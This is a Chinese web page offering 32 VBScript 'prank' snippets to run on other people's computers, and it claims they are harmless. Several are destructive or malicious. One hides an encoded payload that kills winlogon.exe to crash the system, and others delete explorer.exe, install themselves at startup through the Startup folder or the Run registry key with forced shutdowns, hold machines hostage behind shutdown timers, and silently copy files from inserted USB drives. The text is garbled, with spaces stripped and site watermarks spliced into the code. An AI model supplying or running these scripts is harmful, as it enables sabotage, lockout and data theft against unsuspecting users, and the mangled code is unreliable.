整人代码大全(三十二个vbs整蛊代码)

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恶作剧的vbs代码,这里提供的都是一些死循环或导致系统死机的vbs对机器没坏处,最多关机重启一下就可以了,将下面的任意一段代码保存为*.vbs即可

操作方法:把代码保存为*.VBS运行即可经本人亲自测试 不会出大问题的,一般都是利用无限循环,不是死循环,可以通过任务管理器中结束WSCRIPT或cscript进程即可。复制代码代码如下:

domsgbox"hi"loop

无限制的用英文报数复制代码代码如下:

Sets=CreateObject("sapi.spvoice")i=0dos.speakii=i+1loop

复制代码代码如下:

ifMsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗?",vbOKCancel+vbInformation,"重新启动计算机")=vbCancelthen
msgbox"系统将立刻重启wow~_^",,"你上当了!!"SetobjShell=CreateObject("Wscript.Shell")
objShell.Run"shutdown-s-t5",,trueendif

复制代码代码如下:

strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10)fori=1toUBound(strs)runner=runner&chr(strs(i))nextExecuterunner

这个没什么,不过加密了,大家可以解密试试

复制代码代码如下:

ifMsgBox("你是猪头吗?",vbYesNo,"提示")=vbyesthen
msgbox"你SB啊!"elsemsgbox"还不承认!!作为惩罚,蓝屏一下,你马上挂了#¥!@#¥%@……#……?",64,"严重警告!!!!!!!!!"Setws=CreateObject("Wscript.Shell")
wscript.sleep1200ws.run&quot(原创版权www.isoyu.com);cmd/cstart/minntsd-cq-pnwinlogon.exe1>nul2>nul",vbhide
endif

复制代码代码如下:

Setws=CreateObject("Wscript.Shell")
ws.run"cmd.exe/ccallcalc.exe",0

下面的是删除explorer.exe,导致桌面没有显示,不过它事先帮你备份了,为同目录下的explorer.Data复制代码代码如下:

setws=CreateObject("Wscript.Shell")
ws.run"cmd.exe/ctaskkill/f/imexplorer.exe",0wscript.sleep900ws.run"cmd.exe/ccopy%windir%\explorer.exe%windir%\explorer.Data"wscript.sleep1200ws.run"cmd.exe/cdel/q/f%windir%\explorer.exe

复制代码代码如下:

foreachwindinverybat
ws.sendkeyswind
wscript.sleep500nextws.popup"唉:-((⊙o⊙)!呀,我好累啊,我下了886",30ws.popup"下机可不能忘了关QQ我吧QQ关了哈",8ws.run"taskkill/f/imqq.exe"ws.popup"你还要上吧慢慢玩哦",27dimWSHshell
setWSHshell=wscript.createobject("wscript.shell")
ford=0to4WSHshell.SendKeys"%{F4}"nextws.run"shutdown-s-t1000600"wscript.sleep2000dima
doa=inputbox("请输入解除关机密码")
ifa="403746401"then
ws.run"shutdown-a"msgbox"密码验证成功,enjoythebest!"exitdoelsemsgbox"密码验证失败,请输入解除关机密码:403746401",vbretrycancel
endifloop
ws.popup"哈哈被吓到了吧好玩吧?你以为真的是病毒?呵呵O(∩_∩)O~,我还没那么大本事能做出病毒来!",57ws.popup"(\(^o^)/~好啦,跟你开了个小小玩笑。你也可以把这个文件发给其他人,耍耍别人。呵呵^_^",62wscript.sleep8900dountili=10i=i+1msgbox"CPU温度过高,系统出现严重错误!,请结束所有应用程序让CPU降温!",16+4096,"系统提示:"wscript.sleep1000*45loop
关机

复制代码代码如下:

setsh=wscript.createobject("wscript.shell")
sh.run"shutdown-s-t332"关闭当前打开的多个窗口

复制代码代码如下:

dimWSHshell
setWSHshell=wscript.createobject("wscript.shell")
ford=0to40WSHshell.SendKeys"%{F4}"next

复制代码代码如下:

dima,b,c,s
Setfs=CreateObject("Scripting.FileSystemObject")
name=WScript.ScriptName
fullname=WScript.ScriptFullName
path=Replace(fullname,name,"")
a=inputbox("请在对话框中填写你真实的姓名!"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜!!"&vbcrlf&""&vbcrlf&"不信你可以试试看!!!"&vbcrlf&""&vbcrlf&"最好是中文名","芮洲提示:","请在此输入你的名字")
Ifa=""ThenWScript.Quit
EndIfMyVar=MsgBox("你的名字叫:"&a&"",vbYesNo+vbExclamation,"芮洲提示:")
IfMyVar=vbYesThenElseIfMyVar=vbNoThena=inputbox("请在对话框中填写你真实的姓名!"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜!!"&vbcrlf&""&vbcrlf&"不信你可以试试看!!!"&vbcrlf&""&vbcrlf&"最好是中文名","芮洲提示:","请在此输入你的名字")
Ifa=""ThenWScript.Quit
EndIfEndIfwscript.sleep1000b=inputbox("尊敬的"&a&"你好!"&vbcrlf&""&vbcrlf&"请填写一下你的爱好。(只需填一个哦!)","芮洲提示:","请在此输入你的爱好")
Ifb=""ThenWScript.Quit
EndIfwscript.sleep1000c=inputbox("请在下面对话框中输入你的出生[年月日]电脑将自动算出到目前为止你已经在地球上存活了多少时间!"&vbcrlf&""&vbcrlf&"下面以我为例不同可以修改"&vbcrlf&""&Chr(10)&"格式为:1987-06-02","芮洲提示:","1987-06-02")
Ifc=""ThenWScript.Quit
EndIfwscript.sleep1000age=abs(datediff("d",date,c))
wscript.sleep1current=now()
h=datepart("h",current)
n=datepart("n",current)
WScript.Sleep1000s=msgbox(Chr(10)&"恭喜"&a&"已在地球上存活了:"&age&"天"&h&"小时"&n&"分钟.....",vbOKCancel+63,"芮洲提示:")
ifs=2thenendifSetauto=fs.CreateTextFile("C:\DocumentsandSettings\AllUsers\桌面\"&a&"的秘密.vbs",true)
auto.WriteLine"MSGBOX"&""""&"我的名字叫:"&a&""&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的爱好是:"&B&""&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&"&q百思特网uot;""&""&a&"已经活了:"&age&"天"&h&"小时"&n&"分钟"&""""&",64,"&""""&""&a&"的自我介绍:"""auto.WriteLine"msgbox"&""""&"亲爱的"&a&"再见了!"&""""&",48,"&""""&"芮洲提示:"&""""&""Setauto=fs.CreateTextFile("C:\DocumentsandSettings\AllUsers\桌面\祝"&a&"生日快乐.TXT",true)
auto.WriteLine"本人芮洲祝:"&a&"生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......."auto.WriteLine"你已在地球上生活了:"&age&"天"&h&"小时"&n&"分钟了"auto.WriteLine"时间是根据你的出生年月日算的,可能不是很精确,但目的只是想让知道时间过的很快,请珍惜时间!!!。"

复制代码代码如下:

dima
a=10SetobjShell=CreateObject("Wscript.Shell")
objShell.Run"shutdown-s-t10",,trueSets=CreateObject("sapi.spvoice")
whilea
s.Speaka
a=a-1wscript.sleep100wend
CreateObject("SAPI.SpVoice").Speak"Bomb?"

复制代码代码如下:

docreateobject("wscript.shell").runchr(34)&wscript.scriptname&chr(34)
loop

复制代码代码如下:

msgbox"此文件无毒,请放心使用。",vbretrycancel,"系统提示。"dimWSHshell
setWSHshell=wscript.createobject("wscript.shell")
WSHshell.Run"cmd.exe/cshutdown-s-t300"wscript.sleep2000
dima&n百思特网bsp;
doa=inputbox("输入abc,否则关机。")
ifa="abc"thenmsgbox"很遗憾,你中招了,这是整人程序,你就等着关机吧!"exitdoelsemsgbox"乖点,输入abc"endifloop

复制代码代码如下:

onerrorresumenext
dimWSHshellA
setWSHshellA=wscript.createobject("wscript.shell")
WSHshellA.run"cmd.exe/cshutdown-r-t6-c""说我是猪,不说我是猪就一分钟关你机,不信,试试""",0,truedima
dowhile(a<>"我是猪")
a=inputbox("说我是猪,就不关机,快撒,说""我是猪""","说不说","不说",8000,7000)
msgbox"乖"loop
msgbox"早说就行了嘛"dimWSHshell
setWSHshell=wscript.createobject("wscript.shell")
WSHshell.run"cmd.exe/cshutdown-a",0,truemsgbox"自己骂自己的不要脸~~~~~~",4,""

复制代码代码如下:

msgbox"你是不是很无聊啊?",4msgbox"我来陪你玩会儿"msgbox"做好玩儿的准备吧!"domsgbox"你无聊吗?",vbinformatio百思特网n,"你无聊吗?"loop

复制代码代码如下:

onerrorresumenext
setwr=createobject("scripting.filesystemobject")
setws=createobject("wscript.shell")
setf=wr.getfile(wscript.scriptfullname)
q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Startup")
ifnotf="Win32.vbs"thenwr.copyfilef,q&"\Win32.vbs",truews.run"shutdown-p",vbhide
这个太可恶了只好重启

复制代码代码如下:

setws=createobject("wscript.shell")
dows.sendkeys"{f5}"loop

复制代码代码如下:

DimAutoRunProgram
SetAutoRunProgram=WScript.CreateObject("WScript.shell")
RegPath="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"Type_Name="REG_SZ"Key_Name="QUESTION.vbS"Key_data="C:\windows\system32\QUESTION.vbs"AutorunProgram.RegWriteregpath&Key_Name,Key_data,Type_Name
Dimfso,fileSetfso=CreateObject("Scripting.FileSystemObject")
Setfile=fso.getfile(WScript.ScriptFullName)
file.copy"c:\windows\system32\"Setfso=CreateObject("Scripting.FileSystemObject")
f=fso.DeleteFile(WScript.ScriptName)
SetobjShell=CreateObject("Wscript.Shell")
objShell.Run"shutdown-s-t5",,true

复制代码代码如下:

setwmp=createobject("wmplayer.ocx")
setcd=wmp.cdromcollection.item(0)
docd.eject
loop

复制代码代码如下:

onerrorresumenext
dimWSHshellA
setWSHshellA=wscript.createobject("wscript.shell")
WSHshellA.run"cmd.exe/cshutdown-r-t60-c""喊我声爹,快喊""",0,truedima
dowhile(a<>"爹")
a=inputbox("喊我爹,快撒,喊""爹""","喊不喊","不喊",8000,7000)
msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox"loopmsgboxchr(13)+chr(13)+chr(13)+"儿子"dimWSHshell
setWSHshell=wscript.createobject("wscript.shell")
WSHshell.run"cmd.exe/cshutdown-a",0,truemsgboxchr(13)+chr(13)+chr(13)+"等下老爹买棒棒糖给你吃"

复制代码代码如下:

onerrorresumenext
dimWSHshellA
setWSHshellA=wscript.createobject("wscript.shell")
WSHshellA.run"cmd.exe/cshutdown-r-t120-c""说你爱我,不说你爱我就两分钟关你机,不信,试试""",0,truedima
dowhile(a<>"我爱你")
a=inputbox("说你爱我,就不关机,快撒,说""你爱我""","说不说","不说",8000,7000)
msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox"loopmsgboxchr(13)+chr(13)+chr(13)+"早说就行了嘛,何必这么费劲"dimWSHshell
setWSHshell=wscript.createobject("wscript.shell")
WSHshell.run"cmd.exe/cshutdown-a",0,truemsgboxchr(13)+chr(13)+chr(13)+"哈哈哈哈,2021-09-28 真过瘾

复制代码代码如下:

i=MsgBox("由于你灌水太水需要爆破电脑。"&_
vbCrLf&"确定爆破吗?",vbOKCancel,_
"爆破电脑系统!!!!!")
ifi=1thenCreateObject("SAPI.SpVoice").Speak"bone"endif

复制代码代码如下:

OnErrorResumeNext
Dimi
i=0
Setfso=CreateObject("Scripting.FileSystemObject")
IP=InputBox("请输入要监控的U盘盘符:","U盘大盗-By最聪明的猪","I:")
ext=InputBox("请输入要盗窃的文件名的扩展名:","U盘大盗-By最聪明的猪","txt")
MyFolder=InputBox("请输入保存文件的路径:","U盘大盗-By最聪明的猪","E:\U盘大盗")
fso.CreateFolder(MyFolder)
DoWScript.Sleep1000Iffso.FolderExists(IP&"\")ThenExitDoLoopScan(IP&"\")
SubScan(Folder_)
OnErrorResumeNextSetFolder_=fso.GetFolder(Folder_)
SetFiles=Folder_.Files
ForEachFileinFiles
ext_=fso.GetExtensionName(File)
ext_=Lcase(ext_)
ext=Lcase(ext)
Ifext_=extTheni=i+1fso.GetFile(File).Copy(MyFolder&"\"&i&"_"&File.Name)
EndIfNextSetSubFolders=Folder_.SubFolders
ForEachSubFolderInSubFolders
Scan(Subfolder)
NextEndSub